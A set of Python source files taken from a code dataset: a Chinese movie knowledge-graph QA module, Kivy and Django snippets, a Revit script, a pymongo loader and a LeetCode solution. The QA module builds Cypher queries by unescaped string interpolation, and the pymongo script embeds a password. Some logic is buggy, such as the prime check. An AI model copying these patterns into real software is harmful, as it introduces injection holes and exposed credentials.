get_name(self, type_str):  # 获得原实体内容\n        \"\"\"\n        :param type_str: 实体类型，nm,nr,ng\n        :return: result: 原实体内容，例如['章子怡']\n        \"\"\"\n        result = []\n        for i, flag in enumerate(self.quesiton_flag):\n            if flag == str(type_str):\n                result.append(self.question_word[i])\n        return result\n\n    def get_num_x(self):  # 获得查询中的数字\n        x = re.sub(r'\\D', \"\", \"\".join(self.question_word))\n        return x\n\n    def get_noinfo_word(self, basicinfo):  # 数据库没有相关信息的提示语\n        returninfo = \"小球的数据库里没有\" + str(basicinfo) + \"的相关信息，请重新输入要查询的内容！\"\n        return returninfo\n\n    def get_movie_rating(self):  # 0:nm 评分\n        print(\"问题模板是【0:nm 评分】\")\n\n        # 先获取电影名称\n        movie_name = self.get_movie_name()\n        cql = f\"match (m:movie) where m.name contains '{movie_name}' return m.score\"\n        print(\"cql查询语句是：{0}\".format(cql))\n\n        ans = self.graph.search(cql)\n        if len(ans) > 0:\n            ans = float(ans[0])\n            ans = round(ans, 2)\n        else:\n            final_ans = self.get_noinfo_word(movie_name)\n            return final_ans\n\n        print(\"得分查询结果是：{0}\".format(ans))\n\n        cql = f\"match (m:movie) where m.name contains '{movie_name}' return m.evaluators\"\n        print(\"cql查询语句是：{0}\".format(cql))\n        ans_evaluators = int(self.graph.search(cql)[0])\n        print(\"评分人数查询结果是：{0}\".format(ans_evaluators))\n\n        final_ans = movie_name + \"电影评分为\" + str(ans) + \"分，评分人数为\" + str(ans_evaluators) + \"人。\"\n        return final_ans\n\n    def get_movie_release_date(self):  # 1:nm 上映时间\n        print(\"问题模板是【1:nm 上映时间】\")\n        movie_name = self.get_movie_name()\n        cql = f\"match (m:movie) where m.name contains '{movie_name}' return m.release_date\"\n        print(\"cql查询语句是：{0}\".format(cql))\n\n        ans = self.graph.search(cql)\n        if len(ans) > 0:\n            ans = ans[0]\n        else:\n            final_ans = self.get_noinfo_word(movie_name)\n            return final_ans\n\n        print(\"上映时间查询结果是：{0}\".format(ans))\n        final_ans = movie_name + \"的上映时间是\" + str(ans) + \"。\"\n        return final_ans\n\n    def get_movie_type(self):  # 2:nm 类型\n        print(\"问题模板是【2:nm 类型】\")\n        movie_name = self.get_movie_name()\n        cql = f\"match (m:movie)-[r:belong_to]->(b) where m.name contains '{movie_name}' return b.name\"\n        print(\"cql查询语句是：{0}\".format(cql))\n\n        ans = list(self.graph.search(cql))\n        if len(ans) > 0:\n            ans = \"、\".join(ans)\n        else:\n            final_ans = self.get_noinfo_word(movie_name)\n            return final_ans\n\n        print(\"电影类型的查询结果是：{0}\".format(ans))\n\n        final_ans = movie_name + \"属于\" + str(ans) + \"类型的电影。\"\n        return final_ans\n\n    def get_movie_introduction(self):  # 3:nm 简介\n        print(\"问题模板是【3:nm 简介】\")\n        movie_name = self.get_movie_name()\n        cql = f\"match (m:movie) where m.name contains '{movie_name}' return m.brief_introduction\"\n        print(\"cql查询语句是：{0}\".format(cql))\n\n        ans = self.graph.search(cql)\n        if len(ans) > 0:\n            ans = str(ans[0])\n        else:\n            final_ans = self.get_noinfo_word(movie_name)\n            return final_ans\n\n        ans = ans.replace(\" \", \"\")  # 删去多余的空格\n        print(\"电影简介的查询结果是：{0}\".format(ans))\n\n        final_ans = movie_name + \"主要讲述了\" + str(ans)\n        return final_ans\n\n    def get_movie_actorlist(self):  # 4:nm 演员列表\n        print(\"问题模板是【4:nm 演员列表】\")\n        movie_name = self.get_movie_name()\n        cql = f\"match(a:actor)-[r:acted_in]->(m:movie) where m.name contains '{movie_name}' return a.name\"\n        print(\"cql查询语句是：{0}\".format(cql))\n\n        ans = list(self.graph.search(cql))\n        if len(ans) > 0:\n            n = len(ans)\n            for index in range(n):\n                blank_index = ans[index].find(\" \")  # 空格的位置\n                if blank_index != -1:\n                    ans[index] = ans[index][:blank_index]  # 只返回中文信息\n            ans = \"、\".join(ans)\n        else:\n            final_ans = self.get_noinfo_word(movie_name)\n            return final_ans\n\n        print(\"电影演员列表的查询结果是：{0}\".format(ans))\n\n        final_ans = movie_name + \"由\" + str(ans) + \"等演员主演。\"\n        return final_ans\n\n    def get_director_or_producer(self):  # 5:nm 导演/制片\n        print(\"问题模板是【5:nm 导演/制片】\")\n        movie_name = self.get_movie_name()\n        cql1 = f\"match (d:director)-[r:directed]->(m:movie) where m.name contains '{movie_name}' return d.name\"\n        cql2 = f\"match (p:producer)-[r:produced]->(m:movie) where m.name contains '{movie_name}' return p.name\"\n        print(\"cql查询语句是：\\n{0}\\n{1}\".format(cql1, cql2))\n\n        ans1 = self.graph.search(cql1)\n        ans2 = self.graph.search(cql2)\n        if len(ans1) > 0 and len(ans2) > 0:\n            if len(ans1) > 0:\n                ans1 = str(ans1[0])\n                blank_index = ans1.find(\" \")\n                if blank_index != -1:\n                    ans1 = ans1[:blank_index]\n            else:\n                ans1 = \"\"\n            if len(ans2) > 0:\n                ans2 = str(ans2[0])\n                blank_index = ans2.find(\" \")\n                if blank_index != -1:\n                    ans2 = ans2[:blank_index]\n            else:\n                ans2 = \"\"\n        else:\n            final_ans = self.get_noinfo_word(movie_name)\n            return final_ans\n\n        print(\"电影导演查询结果是：{0}\".format(ans1))\n        print(\"电影制片人查询结果是：{0}\".format(ans2))\n\n        final_ans = movie_name + \"的导演是\" + str(ans1) + \"，制片人是\" + str(ans2) + \"。\"\n        return final_ans\n\n    def get_people_type_movie(self):  # 6:nr ng 电影作品\n        print(\"问题模板是【6:nr ng 电影作品】\")\n        people_name = str(self.get_name(\"nr\")[0])  # 单个查询只能有一个nr\n        movietype = self.get_name(\"ng\")  # 可以有多个类型限制\n\n        # 查询该人物的电影作品名称（不做类型限制），电影人可以同时是演员、导演、制片人\n        cql = f\"match (a:actor)-[]->(m:movie) where a.name contains '{people_name}' return m.name\"\n        resultlist = list(self.graph.search(cql))\n\n        cql = f\"match (d:director)-[]->(m:movie) where d.name contains '{people_name}' return m.name\"\n        resultlist += list(self.graph.search(cql))\n\n        cql = f\"match (p:producer)-[]->(m:movie) where p.name contains '{people_name}' return m.name\"\n        resultlist += list(self.graph.search(cql))\n\n        if len(resultlist) == 0:\n            final_ans = self.get_noinfo_word(people_name)\n            return final_ans\n\n        # 查询类型电影\n        result = []\n        for movie_name in resultlist:\n            movie_name = str(movie_name).strip()\n            cql = f\"match (m:movie)-[r:belong_to]->(g) where m.name contains '{movie_name}'return g.name\"\n            tmp_type = self.graph.search(cql)\n            if tmp_type == 0:  # 无类型信息\n                continue\n            for t in tmp_type:\n                if t in movietype:  # 符合类型查询要求\n                    result.append(movie_name)\n\n        if len(result) == 0:\n            final_ans = self.get_noinfo_word(people_name)\n            return final_ans\n\n        n = len(result)\n        for i in range(n):\n            blank_index = result[i].find(\" \")\n            if blank_index != -1:\n                result[i] = result[i][:blank_index]\n        ans = \"、\".join(result)\n        print(\"电影人特定类型的电影作品查询结果是：\".format(ans))\n        typestr = str(\"、\".join(movietype))\n        final_ans = people_name + \"参与的\" + typestr + \"电影有：\\n\" + ans + \"。\"\n        return final_ans\n\n    def get_people_movielist(self, peoplename):  # 7:nr 电影作品\n        print(\"问题模板是【7:nr 电影作品】\")\n        if len(peoplename) == 0:  # 不是中间结果需求\n            people_name = str(self.get_name(\"nr\")[0])  # 单个查询只能有一个nr\n        else:\n            people_name = peoplename\n        # 查询该人物的电影作品名称（不做类型限制），电影人可以同时是演员、导演、制片人\n        cql = f\"match (a:actor)-[]->(m:movie) where a.name contains '{people_name}' return m.name\"\n        resultlist = list(self.graph.search(cql))\n\n        cql = f\"match (d:director)-[]->(m:movie) where d.name contains '{people_name}' return m.name\"\n        resultlist += list(self.graph.search(cql))\n\n        cql = f\"match (p:producer)-[]->(m:movie) where p.name contains '{people_name}' return m.name\"\n        resultlist += list(self.graph.search(cql))\n        if len(resultlist) == 0:\n            final_ans = self.get_noinfo_word(people_name)\n            return final_ans, resultlist\n\n        n = len(resultlist)\n        for i in range(n):\n            blank_index = resultlist[i].find(\" \")\n            if blank_index != -1:\n                resultlist[i] = resultlist[i][:blank_index]\n\n        ans = \"、\".join(resultlist)\n        print(\"电影人的电影作品查询结果是：{0}\".format(ans))\n        final_ans = str(people_name) + \"参与过\" + str(ans) + \"等电影。\"\n        return final_ans, resultlist  # resultlist 作为中间结果提供给其他查询\n\n    def get_people_movie_rating_larger(self):  # 8:nr 参与 评分大于 x\n        print(\"问题模板是【8:nr 参与 评分大于 x】\")\n        people_name = str(self.get_name(\"nr\")[0])  # 单个查询只能有一个nr\n        x = self.get_num_x()  # 获得查询中的数字\n\n        # 查询该人物的电影作品名称（不做类型限制），电影人可以同时是演员、导演、制片人\n        cql = f\"match (a:actor)-[]->(m:movie) where a.name contains '{people_name}' and m.score>={x} return m.name\"\n        resultlist = list(self.graph.search(cql))\n\n        cql = f\"match (d:director)-[]->(m:movie) where d.name contains '{people_name}' and m.score>={x} return m.name\"\n        resultlist += list(self.graph.search(cql))\n\n        cql = f\"match (p:producer)-[]->(m:movie) where p.name contains '{people_name}' and m.score>={x} return m.name\"\n        resultlist += list(self.graph.search(cql))\n\n        if len(resultlist) == 0:\n            final_ans = self.get_noinfo_word(people_name)\n            return final_ans\n\n        n = len(resultlist)\n        for i in range(n):\n            blank_index = resultlist[i].find(\" \")\n            if blank_index != -1:\n                resultlist[i] = resultlist[i][:blank_index]\n\n        ans = \"、\".join(resultlist)\n        print(\"符合评分限制的电影作品查询结果是：{0}\".format(ans))\n\n        final_ans = people_name + \"参与的电影评分大于\" + x + \"分的有\" + ans + \"等。\"\n\n        return final_ans\n\n    def get_people_movie_rating_smaller(self):  # 9:nr 参与 评分小于 x\n        print(\"问题模板是【9:nr 参与 评分小于 x】\")\n        people_name = str(self.get_name(\"nr\")[0])  # 单个查询只能有一个nr\n        x = self.get_num_x()  # 获得查询中的数字\n\n        # 查询该人物的电影作品名称（不做类型限制），电影人可以同时是演员、导演、制片人\n        cql = f\"match (a:actor)-[]->(m:movie) where a.name contains '{people_name}' and m.score<={x} return m.name\"\n        resultlist = list(self.graph.search(cql))\n\n        cql = f\"match (d:director)-[]->(m:movie) where d.name contains '{people_name}' and m.score<={x} return m.name\"\n        resultlist += list(self.graph.search(cql))\n\n        cql = f\"match (p:producer)-[]->(m:movie) where p.name contains '{people_name}' and m.score<={x} return m.name\"\n        resultlist += list(self.graph.search(cql))\n\n        if len(resultlist) == 0:\n            final_ans = self.get_noinfo_word(people_name)\n            return final_ans\n\n        n = len(resultlist)\n        for i in range(n):\n            blank_index = resultlist[i].find(\" \")\n            if blank_index != -1:\n                resultlist[i] = resultlist[i][:blank_index]\n\n        ans = \"、\".join(resultlist)\n        print(\"符合评分限制的电影作品查询结果是：{0}\".format(ans))\n\n        final_ans = people_name + \"参与的电影评分小于\" + x + \"分的有\" + ans + \"等。\"\n\n        return final_ans\n\n    def get_people_movietype(self):  # 10:nr 电影类型\n        print(\"问题模板是【10:nr 电影类型】\")\n        people_name = str(self.get_name(\"nr\")[0])  # 单个查询只能有一个nr\n\n        # 查询该人物的电影作品名称（不做类型限制），电影人可以同时是演员、导演、制片人\n        cql = f\"match (a:actor)-[]->(m:movie) where a.name contains '{people_name}' return m.name\"\n        resultlist = list(self.graph.search(cql))\n\n        cql = f\"match (d:director)-[]->(m:movie) where d.name contains '{people_name}' return m.name\"\n        resultlist += list(self.graph.search(cql))\n\n        cql = f\"match (p:producer)-[]->(m:movie) where p.name contains '{people_name}' return m.name\"\n        resultlist += list(self.graph.search(cql))\n\n        if len(resultlist) == 0:\n            final_ans = self.get_noinfo_word(people_name)\n            return final_ans\n\n        result = []\n        for movie_name in resultlist:\n            movie_name = str(movie_name).strip()\n            cql = f\"match (m:movie)-[r:belong_to]->(g) where m.name contains '{movie_name}' return g.name\"\n            tmp_type = self.graph.search(cql)\n            if len(tmp_type) == 0:  # 缺少类型信息\n                continue\n            for t in tmp_type:\n                if t not in set(result):\n                    result.append(t)\n        if len(result) == 0:\n            final_ans = self.get_noinfo_word(people_name)\n            return final_ans\n\n        ans = \"、\".join(result)\n        print(\"电影人参与的电影作品类型查询结果为：{0}\".format(ans))\n        final_ans = people_name + \"参与的电影有\" + ans + \"等类型。\"\n        return final_ans\n\n    def get_pwithp_movielist(self):  # 11:nr nr 合作 电影列表\n        # nr 可以大于等于2个\n        print(\"问题模板是【11:nr nr 合作 电影列表】\")\n        people_namelist = self.get_name('nr')\n        resultlist = []  # 合作的电影列表\n        for i, people_name in enumerate(people_namelist):\n            tmpstr, tmplist = self.get_people_movielist(people_name)  # people_name 参演的电影列表\n            if i == 0:\n                resultlist = tmplist\n            resultlist = list(set(resultlist).intersection(tmplist))\n        if len(resultlist) == 0:\n            final_ans = \"小球的数据库里没有符合条件的电影信息，请���新输入查询内容！\"\n            return final_ans\n\n        n = len(resultlist)\n        for i in range(n):\n            blank_index = resultlist[i].find(\" \")\n            if blank_index != -1:\n                resultlist[i] = resultlist[i][:blank_index]\n\n        ans = \"、\".join(resultlist)\n        print(\"合作电影查询结果是：{0}\".format(ans))\n\n        final_ans = people_namelist[0]\n        for i in range(1, len(people_namelist)):\n            final_ans += \"和\" + str(people_name)\n\n        final_ans += \"合作的电影有\" + str(ans) + \"。\"\n        return final_ans\n\n    def get_people_movienum(self):  # 12:nr 电影数量\n        print(\"问题模板是【12:nr 电影数量】\")\n        people_name = str(self.get_name(\"nr\")[0])  # 只能有一个nr\n\n        tmpstr, movielist = self.get_people_movielist(people_name)\n        movienum = len(movielist)\n        print(\"参与电影数量查询结果是：{0}\".format(str(movienum)))\n\n        final_ans = people_name + \"参与过\" + str(movienum) + \"部电影。\"\n        return final_ans\n\n    def get_people_average_movierating(self):  # 13:nr 作品平均分\n        print(\"问题模板是【13:nr 作品平均分】\")\n        people_name = str(self.get_name(\"nr\")[0])\n\n        tmpstr, movielist = self.get_people_movielist(people_name)\n        tot_score = 0\n        cnt = 0\n        for movie_name in movielist:\n            cql = f\"match (m:movie) where m.name contains '{movie_name}' return m.score\"\n            tmpscore = self.graph.search(cql)\n            if len(tmpscore) > 0:  # 有评分记录\n                tot_score += float(tmpscore[0])\n                cnt += 1\n        if cnt > 0:\n            ans = tot_score / cnt\n            ans = round(ans, 2)\n            print(\"电影人电影作品平均分查询结果是：{0}\".format(ans))\n            final_ans = people_name + \"参与的作品平均分为\" + str(ans) + \"分。\"\n        else:\n            final_ans = \"小球的数据库里没有符合条件的\" + str(people_name) + \"的作品，请重新输入查询内容！\"\n\n        return final_ans\n\n    def get_movie_rank(self):  # 14:nm 排名\n        print(\"问题模板是【14:nm 排名】\")\n\n        movie_name = self.get_movie_name()\n        cql = f\"match (m:movie) where m.name contains '{movie_name}' return m.rank\"\n        resultlist = self.graph.search(cql)\n        if len(resultlist) > 0:  # 在数据库中\n            ans = resultlist[0]\n            print(\"电影排名的查询结果是：{0}\".format(ans))\n            final_ans = \"电影\" + str(movie_name) + \"在豆瓣网Top250中排名是\" + str(ans) + \"。\"\n        else:\n            final_ans = self.get_noinfo_word(movie_name)\n\n        return final_ans\n\n    def get_movie_language(self):  # 15:nm 语言\n        print(\"问题模板是【15:nm 语言】\")\n        movie_name = self.get_movie_name()\n        cql = f\"match (m:movie)-[r:spoke_in]->(la) where m.name contains '{movie_name}' return la.name\"\n        resultlist = self.graph.search(cql)\n        if len(resultlist) > 0:  # 在数据库中\n            ans = \"、\".join(resultlist)\n            print(\"电影语言的查询结果是：{0}\".format(ans))\n            final_ans = \"电影\" + str(movie_name) + \"的拍摄语言是\" + str(ans) + \"。\"\n        else:\n            final_ans = self.get_noinfo_word(movie_name)\n        return final_ans\n\n    def get_movie_recommend(self):  # 16:nm 推荐\n        print(\"问题模板是【16:nm 推荐】\")\n        movie_name = self.get_movie_name()\n        cql = f\"match (m:movie) where m.name contains '{movie_name}' return m.recommend\"\n        ans = self.graph.search(cql)\n        if len(ans) > 0:  # 在数据库中\n            ans = str(ans[0])\n            final_ans = ans\n        else:\n            final_ans = self.get_noinfo_word(movie_name)\n        return final_ans\n\n    def get_movie_length(self):  # 17:nm 长度\n        print(\"问题模板是【17:nm 长度】\")\n        movie_name = self.get_movie_name()\n        cql = f\"match (m:movie) where m.name contains '{movie_name}' return m.length\"\n        ans = self.graph.search(cql)\n        if len(ans) > 0:\n            ans = str(ans[0])\n            final_ans = \"电影\" + str(movie_name) + \"的长度是\" + ans + \"。\"\n        else:\n            final_ans = self.get_noinfo_word(movie_name)\n        return final_ans\n\n    def get_movie_brief_prize(self):  # 18:nm 主要奖项\n        print(\"问题模板是【18:nm 主要奖项】\")\n        movie_name = self.get_movie_name()\n        cql = f\"match (m:movie) where m.name contains '{movie_name}' return m.brief_prize\"\n        ans = self.graph.search(cql)\n        if len(ans) > 0:\n            ans = str(ans[0])\n            final_ans = \"电影\" + str(movie_name) + \"获得的主要奖项有：\\n\" + ans\n        else:\n            final_ans = self.get_noinfo_word(movie_name)\n\n        return final_ans\n\n    def get_movie_country(self):  # 19:nm 国家\n        print(\"问题模板是【19:nm 国家】\")\n        movie_name = self.get_movie_name()\n        cql = f\"match (m:movie)-[r:made_in]->(co) where m.name contains '{movie_name}' return co.name\"\n        ans = self.graph.search(cql)\n        if len(ans) > 0:\n            ans = \"、\".join(ans)\n            final_ans = \"电影\" + str(movie_name) + \"的制作地区是\" + str(ans) + \"。\"\n        else:\n            final_ans = self.get_noinfo_word(movie_name)\n\n        return final_ans\n\n    def get_genre_num(self):  # 20:ng 电影数量\n        print(\"问题模板是【20:ng 电影数量】\")\n        genrename = str(self.get_name(\"ng\")[0])\n        cql = f\"match (m:movie)-[r:belong_to]->(g:genre) where g.name='{genrename}' return m.name\"\n        ans = self.graph.search(cql)\n        ans = len(ans)\n        final_ans = genrename + \"类型的电影有\" + str(ans) + \"部。\"\n        return final_ans\n\n    def get_rating_larger(self):  # 21:大于x 数量\n        print(\"问题模板是【21:大于x 数量】\")\n        x = self.get_num_x()\n        cql = f\"match (m:movie) where m.score>={x} return m.name\"\n        ans = self.graph.search(cql)\n        ans = len(ans)\n        final_ans = \"评分大于\" + str(x) + \"分的电影共有\" + str(ans) + \"部。\"\n        return final_ans\n\n    def get_rating_smaller(self):  # 22:小于x 数量\n        print(\"问题模板是【22:小于x 数量】\")\n        x = self.get_num_x()\n        cql = f\"match (m:movie) where m.score<={x} return m.name\"\n        ans = self.graph.search(cql)\n        ans = len(ans)\n        final_ans = \"评分小于\" + str(x) + \"分的电影共有\" + str(ans) + \"部。\"\n        return final_ans\n\n    def get_country_num(self):  # 23:nc 电影数量\n        print(\"问题模板是【23:nc 电影数量】\")\n        countryname = str(self.get_name(\"nc\")[0])\n        cql = f\"match (m:movie)-[r:made_in]->(c:country) where c.name='{countryname}' return m.name\"\n        ans = self.graph.search(cql)\n        ans = len(ans)\n        final_ans = countryname + \"制作的电影有\" + str(ans) + \"部。\"\n        return final_ans\n\n    def get_language_num(self):  # 24:nl 电影数量\n        print(\"问题模板是【24:nl 电影数量】\")\n        languagename = str(self.get_name(\"nl\")[0])\n        cql = f\"match (m:movie)-[r:spoke_in]->(la:language) where la.name='{languagename}' return m.name\"\n        ans = self.graph.search(cql)\n        ans = len(ans)\n        final_ans = languagename + \"电影有\" + str(ans) + \"部。\"\n        return final_ans\n\n\nif __name__ == \"__main__\":\n\n    # 进行cql查询测试\n    # tmp = Query()\n    # ans = tmp.search(\"match (m:movie) where m.name contains '肖申克的救赎' return m.score\")\n    # print(ans)\n\n    # 进行模板查询测试\n    tmp = QuestionTemplate()\n    ans = tmp.get_question_answer(['霸王别姬/nm', '由/p', '哪些/r', '演员/n', '主演/n'], \"4\\tnm 演员列表\")\n    print(ans)","sub_path":"smart_Q_A_question_solve/question_template_solve.py","file_name":"question_template_solve.py","file_ext":"py","file_size_in_byte":26858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"568800336","text":"from kivy.app import App\nfrom kivy.factory import Factory\nfrom kivy.uix.button import Button\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.screenmanager import Screen\nfrom kivy.properties import ObjectProperty, StringProperty, NumericProperty\n\nfrom storage import storage\n\n\nclass ActionBtn(Button):\n\n    _category = StringProperty()\n    _action = StringProperty()\n\n    def set_btn_size(self, obj, size):\n        self.width = size[0] * .15 + self.texture_size[0]\n        self.height = size[1] * .15\n\n\nclass ActionsSection(BoxLayout):\n    _tl_text = StringProperty()\n    _tl_font_size = NumericProperty(0)\n    _actions_stack = ObjectProperty(None)\n\n    def set_section_size(self, obj, size):\n        self._tl_font_size = min(size[0], size[1]) * .09\n\n\nclass ActionsScreen(Screen):\n\n    def __init__(self, **kwargs):\n        super(ActionsScreen, self).__init__(**kwargs)\n        self.screen_layout = Factory.AddNewScreenLayout()\n        self.add_widget(self.screen_layout)\n\n        self.screen_layout._content.add_widget(\n            self.create_new_section('Instants', storage.instants)\n        )\n        self.screen_layout._content.add_widget(\n            self.create_new_section('Quantity-based', storage.quantity_based)\n        )\n        self.screen_layout._content.add_widget(\n            self.create_new_section('Time-based', storage.time_based)\n        )\n\n    def create_new_section(self, category, actions):\n        new_section = Factory.ActionsSection(_tl_text=category)\n        self.bind(size=new_section.set_section_size)\n        self.populate_actions_stack(new_section, category, actions)\n\n        return new_section\n\n    def populate_actions_stack(self, section, category, actions):\n        for action in actions:\n            action_btn = self.create_new_action_btn(category, action)\n            section._actions_stack.add_widget(action_btn)\n\n    def create_new_action_btn(self, category, action):\n        action_btn = Factory.ActionBtn(\n            _category=category, _action=action, text=action)\n        self.bind(size=action_btn.set_btn_size)\n        action_btn.bind(on_release=self.start_adding)\n\n        return action_btn\n\n    def start_adding(self, action_btn):\n        app = App.get_running_app()\n        screen_manager = app.root._screen_manager\n\n        if action_btn._category == 'Instants':\n            screen_manager.current = 'add_instants_screen'\n            screen_manager._add_instants_screen.initialize(\n                action_btn._category, action_btn._action)\n\n        elif action_btn._category == 'Quantity-based':\n            screen_manager.current = 'add_qbased_screen'\n            screen_manager._add_qbased_screen.initialize(\n                action_btn._category, action_btn._action)\n\n        elif action_btn._category == 'Time-based':\n            screen_manager.current = 'add_tbased_screen'\n            screen_manager._add_tbased_screen.initialize(\n                action_btn._category, action_btn._action)\n","sub_path":"components/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":2952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"441751145","text":"import clr\n# clr.AddReference('RevitAPI')\n# from Autodesk.Revit.DB import *\n\nclr.AddReference(\"RevitServices\")\nfrom RevitServices.Persistence import DocumentManager\nfrom RevitServices.Transactions import TransactionManager\n\ndoc = DocumentManager.Instance.CurrentDBDocument\n\nelement = UnwrapElement(IN[1])\npoints = UnwrapElement(IN[2])\nfamtype = UnwrapElement(IN[3])\nelementlist = []\n\nview = doc.GetElement(element.OwnerViewId)\n\nTransactionManager.Instance.EnsureInTransaction(doc)\nif famtype.IsActive == False:\n\tfamtype.Activate()\n\tdoc.Regenerate()\nfor point in points:\n\tnewobj = doc.Create.NewFamilyInstance(point.ToXyz(),famtype,view)\n\telementlist.append(newobj.ToDSType(False))\nTransactionManager.Instance.TransactionTaskDone()\n\nOUT = elementlist","sub_path":"NewFamilyInstance_Create.py","file_name":"NewFamilyInstance_Create.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"546775135","text":"start=int(input(\"Enter Starting Number\"))\nend=int(input(\"Enter Ending Range\"))\nfor number in range(start, (end+1)):\n    check=False\n    for i in range(2, int(number/2)):\n        if number%i==0:\n            check=True\n    if(check==False):\n        print(number)\n\n","sub_path":"Basics/Looping/Relevant_Programs/RangeOfPrimeNumbers.py","file_name":"RangeOfPrimeNumbers.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"73651476","text":"from django.conf.urls import include, url\nfrom . import views\n\napp_name=\"equipo_app\"\n\nurlpatterns = [\n    #urls para vistas\n    url(r'^nuevo-equipo$',\n        views.TeamAddTemplateView.as_view(),\n        name='equipo-add'\n    ),\n    url(r'^equipos-que-administro/(?P<filtro>[\\w\\-]+)/$',\n        views.TeamByUserView.as_view(),\n        name='equipo-by_user'\n    ),\n    url(r'^lista-de-equipos-por-delagado/(?P<pk>\\d+)/$',\n        views.TeamByDelegateView.as_view(),\n        name='equipo-list_by_delegate'\n    ),\n    url(r'^lista-de-equipos-torneo/(?P<pk>\\d+)/(?P<filtro>[\\w\\-]+)/$',\n        views.TeamByTournamentView.as_view(),\n        name='equipo-list_by_tournament'\n    ),\n\n\n    ####urls para servicos\n    url(r'^', include('applications.equipo.services_urls')),\n]\n","sub_path":"nliga/applications/equipo/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"360568140","text":"#!/usr/bin/python2\n#coding=utf-8\n\nimport json\nimport pymongo\n\n## 连接mongodb库\ndef connect_mongodb():\n    servers = \"mongodb://192.168.100.104:27017\"\n    conn = pymongo.MongoClient(servers)\n    db = conn.db01\n    db.authenticate('dbuser', 'a')\n    return db\n\ndb = connect_mongodb()\ntest = db.test\n\n## 批量插入mongodb库\nf = open('test.txt', 'r')\nok = True\ndata = {}\ndata[\"_id\"] = 0\nd = []\nwhile ok:\n    line = f.readline().strip(\"\\n\")\n    if line == \"\":\n        ok = False\n    else:\n        data[\"_id\"] = data[\"_id\"] + 1\n        data[\"str1\"] = line\n        test.insert(data)","sub_path":"pymongo/py_insert.py","file_name":"py_insert.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"289379713","text":"# Time:  O(n * n!/(c_a!*...*c_z!), n is the length of A, B,\n#                                  c_a...c_z is the count of each alphabet,\n#                                  n = sum(c_a...c_z)\n# Space: O(n * n!/(c_a!*...*c_z!)\n\n# 854\n# Strings A and B are K-similar (for some non-negative integer K)\n# if we can swap the positions of two letters\n# in A exactly K times so that the resulting string equals B.\n#\n# Given two anagrams A and B, return the smallest K for which A and B are\n# K-similar.\n#\n# Example 1:\n#\n# Input: A = \"ab\", B = \"ba\"\n# Output: 1\n# Example 2:\n#\n# Input: A = \"abc\", B = \"bca\"\n# Output: 2\n# Example 3:\n#\n# Input: A = \"abac\", B = \"baca\"\n# Output: 2\n# Example 4:\n#\n# Input: A = \"aabc\", B = \"abca\"\n# Output: 2\n# Note:\n# - 1 <= A.length == B.length <= 20\n# - A and B contain only lowercase letters from\n# the set {'a', 'b', 'c', 'd', 'e', 'f'}\n\n# Solution Framework:\n# The underlying graph of the problem is a graph with 6 nodes 'a', 'b', ..., 'f' and the edges A[i] -> B[i].\n# Our goal is for this graph to have only self-edges (edges of the form a -> a.)\n\n# If A = 'ca...' and B = 'ab...', then the first two edges of the underlying graph are c -> a and a -> b;\n# and a swap between A[1] and A[0] changes these two edges to the single edge c -> b. Let's call this type\n# of operation 'cutting corners'. Intuitively, our optimal swap schedule always increases the # of matches\n# (A[i] == B[i]s) for each swap, so cutting corners is the only type of operation we need to consider.\n# (This is essentially the happy swap assumption, proved in 765 - Couples Holding Hands)\n#\n# Now consider 'cycle decomposition' of the underlying graph. [This decomposition (or the # of cycles),\n# is not necessarily unique.] Through operations of cutting corners, we'll delete all the (non-self) edges.\n# Each cycle of length k requires k-1 operations to delete. Thus, the answer is just the minimum possible\n# value of sum(C_k - 1), where C_1,... C_k are the lengths of the cycles in some cycle decomposition of\n# the underlying graph. This can be re-written as (# of non-self edges) - (# of cycles).\n# Hence, we want to maximize the # of cycles in a cycle decomposition of the underlying graph.\n\nimport collections\n\ntry:\n    xrange          # Python 2\nexcept NameError:\n    xrange = range  # Python 3\n\n\nclass Solution(object):\n    def kSimilarity(self, A, B):\n        \"\"\"\n        :type A: str\n        :type B: str\n        :rtype: int\n        \"\"\"\n        # Perform a regular breadth-first search: the neighbors to each node string S are all the strings\n        # reachable with 1 swap to get the first unmatched character in S matched.\n        # we can prove that an optimal solution swaps the left-most unmatched character A[i] with an\n        # appropriate match A[j] which equals to B[i] (j > i), as this increases # of self-edges.\n\n        # Time complexity: This reduces the # of \"neighbors\" of a node (string state) from O(N^2) to O(N):\n        # O(N^2): swap any pair of chars in the string,\n        # O(N): only swap the first unmatched char.\n        def neighbors(s):\n            for i, c in enumerate(s):\n                if c != B[i]:\n                    break\n            t = list(s)\n            for j in xrange(i+1, len(s)):\n                if t[j] == B[i]:\n                    t[i], t[j] = t[j], t[i]\n                    yield \"\".join(t)\n                    t[j], t[i] = t[i], t[j]\n\n        q = collections.deque([A])\n        steps = {A:0} # we need a set to remove repeatedness anyway, so put 'steps' together\n        while q:\n            s = q.popleft()\n            if s == B:\n                return steps[s]\n            for t in neighbors(s):\n                if t not in steps:\n                    steps[t] = steps[s] + 1\n                    q.append(t)\n\nprint(Solution().kSimilarity('abac', 'baca'))","sub_path":"Python/k-similar-strings.py","file_name":"k-similar-strings.py","file_ext":"py","file_size_in_byte":3813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
